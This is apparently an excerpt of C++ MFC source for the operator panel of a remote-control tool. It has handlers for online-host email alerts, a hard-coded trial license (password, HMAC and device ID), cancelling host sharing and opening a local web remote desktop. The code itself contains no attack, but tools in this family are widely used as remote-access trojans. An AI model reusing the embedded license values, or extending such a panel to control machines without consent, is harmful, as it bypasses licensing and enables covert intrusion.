
void CMy2015RemoteDlg::OnOnlineLoginNotify()
{
    // Get selected hosts and add their computer name/remark to notify keywords
    std::vector<std::string> hostsToAdd;

    EnterCriticalSection(&m_cs);
    POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
    while (Pos) {
        int iItem = m_CList_Online.GetNextSelectedItem(Pos);
        context* ctx = GetContextByListIndex(iItem);
        if (!ctx) continue;

        // Prefer remark, fallback to computer name
        CString remark = m_ClientMap->GetClientMapData(ctx->GetClientID(), MAP_NOTE);
        CString hostName;
        if (!remark.IsEmpty()) {
            hostName = remark;
        } else {
            hostName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
        }

        if (!hostName.IsEmpty()) {
            // Convert to UTF-8
            std::string nameUtf8 = CT2A(hostName, CP_UTF8);
            hostsToAdd.push_back(nameUtf8);
        }
    }
    LeaveCriticalSection(&m_cs);

    if (hostsToAdd.empty()) {
        return;
    }

    // Get current config and add new keywords
    NotifyConfig config = GetNotifyManager().GetConfig();
    NotifyRule& rule = config.GetRule();

    // Parse existing keywords into a set for deduplication (case-insensitive)
    std::set<std::string> existingKeywordsLower;  // lowercase for comparison
    std::vector<std::string> existingKeywords;     // original case for output
    std::string pattern = rule.matchPattern;
    size_t pos = 0;
    while ((pos = pattern.find(';')) != std::string::npos) {
        std::string kw = pattern.substr(0, pos);
        // Trim whitespace
        size_t start = kw.find_first_not_of(" \t");
        size_t end = kw.find_last_not_of(" \t");
        if (start != std::string::npos) {
            std::string trimmed = kw.substr(start, end - start + 1);
            existingKeywordsLower.insert(ToLowerCase(trimmed));
            existingKeywords.push_back(trimmed);
        }
        pattern.erase(0, pos + 1);
    }
    // Last keyword (or only keyword if no semicolon)
    if (!pattern.empty()) {
        size_t start = pattern.find_first_not_of(" \t");
        size_t end = pattern.find_last_not_of(" \t");
        if (start != std::string::npos) {
            std::string trimmed = pattern.substr(start, end - start + 1);
            existingKeywordsLower.insert(ToLowerCase(trimmed));
            existingKeywords.push_back(trimmed);
        }
    }

    // Add new hosts if not already present (case-insensitive check)
    int addedCount = 0;
    for (const auto& host : hostsToAdd) {
        if (existingKeywordsLower.find(ToLowerCase(host)) == existingKeywordsLower.end()) {
            existingKeywordsLower.insert(ToLowerCase(host));
            existingKeywords.push_back(host);
            addedCount++;
        }
    }

    if (addedCount == 0) {
        MessageBoxL("所有选中的主机已在上线提醒列表中", "提示", MB_ICONINFORMATION);
        return;
    }

    // Rebuild match pattern
    std::string newPattern;
    for (const auto& kw : existingKeywords) {
        if (!newPattern.empty()) {
            newPattern += ";";
        }
        newPattern += kw;
    }

    // Update config
    rule.matchPattern = newPattern;
    rule.enabled = true;
    rule.triggerType = NOTIFY_TRIGGER_HOST_ONLINE;
    rule.columnIndex = ONLINELIST_COMPUTER_NAME;

    GetNotifyManager().SetConfig(config);
    GetNotifyManager().SaveConfig();

    // Build message with SMTP warning if not configured
    CString msg;
    msg.Format(_TR("已添加 %d 个主机到上线提醒列表"), addedCount);
    if (!config.smtp.IsValid()) {
        msg += _T("\n\n");
        msg += _TR("注意: SMTP 未配置，请先在通知设置中配置邮箱");
    }
    MessageBoxL(msg, _TR("上线提醒"), MB_ICONINFORMATION);
}

void CMy2015RemoteDlg::OnMasterTrail()
{
    std::string pwd = THIS_CFG.GetStr("settings", "Password");
    BOOL noPwd = pwd.empty();
    if (!noPwd) {
		MessageBoxL("已有授权密码。请勿将本程序用于任何非法、违规的用途，否则后果自负！",
            "声明", MB_ICONINFORMATION);
        return;
    }
    if (IDYES != MessageBoxL("本软件仅限于合法、正当、合规的用途。\r\n您是否同意？",
        "声明", MB_ICONQUESTION | MB_YESNO))
        return;
    std::string master = THIS_CFG.GetStr("settings", "master");
    int bindType = THIS_CFG.GetInt("settings", "BindType");
    if (master != "127.0.0.1" || bindType != 1) {
        THIS_CFG.SetStr("settings", "master", "127.0.0.1");
        THIS_CFG.SetStr("settings", "BindType", "1");
    }

    THIS_CFG.SetStr("settings", "Password", "20260201-20280201-0020-be94-120d-20f9-919a");
    THIS_CFG.SetStr("settings", "PwdHmac", "6015188620429852704");
    THIS_CFG.SetStr("settings", "SN", getDeviceID("127.0.0.1"));
    MessageBoxL("设置成功，仅限本地使用！试用版本会与授权服务联网验证！\n如需离线使用，需要正式授权。",
        "警告", MB_ICONINFORMATION);
}

void CMy2015RemoteDlg::OnCancelShare()
{
    if(IDYES != MessageBoxL("确定取消分享主机? 将撤销全部的分享链接。", "提示", MB_YESNO | MB_ICONQUESTION))
        return;

    BYTE bToken[100] = { COMMAND_SHARE_CANCEL };
    SendSelectedCommand(bToken, sizeof(bToken));
}

void CMy2015RemoteDlg::OnWebRemoteControl()
{
    int port = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
    if (port <= 0) {
        MessageBoxL("请在菜单设置Web端口!", "提示", MB_ICONINFORMATION);
    }
    else if (m_superPass.empty()) {
        MessageBoxL("请设置环境变量 " BRAND_ENV_VAR " 来使用Web远程桌面!", "提示", MB_ICONINFORMATION);
    }else {
        CString content;
        content.Format("http://127.0.0.1:%d", port);
        ShellExecute(NULL, _T("open"), content, NULL, NULL, SW_SHOWNORMAL);
        MessageBoxL("如需Web远程桌面跨网使用方案，请联系管理员!", "提示", MB_ICONINFORMATION);
    }
}